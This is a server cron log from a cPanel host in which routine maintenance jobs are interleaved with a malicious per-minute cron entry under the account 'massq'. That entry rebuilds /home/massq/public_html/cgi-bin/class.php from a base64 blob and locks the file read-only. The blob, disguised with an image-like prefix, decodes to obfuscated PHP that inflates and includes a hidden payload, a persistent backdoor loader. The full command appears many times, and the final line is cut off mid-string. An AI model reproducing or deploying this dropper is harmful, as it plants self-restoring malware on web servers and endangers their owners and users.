Sep  4 00:28:01 server CROND[30673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:28:01 server CROND[30675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:29:01 server CROND[31066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:29:01 server CROND[31067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:29:01 server CROND[31068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:30:01 server CROND[31521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:30:01 server CROND[31520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:30:01 server CROND[31522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:30:01 server CROND[31525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:30:01 server CROND[31530]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 00:30:01 server CROND[31524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:30:01 server CROND[31534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:30:01 server CROND[31526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:30:01 server CROND[31541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:31:01 server CROND[32383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:31:01 server CROND[32384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:31:01 server CROND[32385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:32:01 server CROND[403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:32:01 server CROND[404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:32:01 server CROND[405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:33:01 server CROND[828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:33:01 server CROND[830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:33:01 server CROND[829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:34:01 server CROND[1309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:34:01 server CROND[1310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:34:01 server CROND[1311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:35:01 server CROND[1713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:35:01 server CROND[1712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:35:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:35:01 server CROND[1720]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 00:35:01 server CROND[1724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:35:01 server CROND[1725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:35:01 server CROND[1722]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 00:35:01 server CROND[1719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:35:01 server CROND[1721]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:36:01 server CROND[2619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:36:01 server CROND[2620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:36:01 server CROND[2621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:37:01 server CROND[3017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:37:01 server CROND[3019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:37:01 server CROND[3018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:38:01 server CROND[3396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:38:01 server CROND[3395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:38:01 server CROND[3397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:39:01 server CROND[3873]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 00:39:01 server CROND[3875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:39:01 server CROND[3876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:39:01 server CROND[3877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:40:01 server CROND[4271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 00:40:01 server CROND[4272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:40:01 server CROND[4273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:40:01 server CROND[4274]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:40:01 server CROND[4278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 00:40:01 server CROND[4283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0u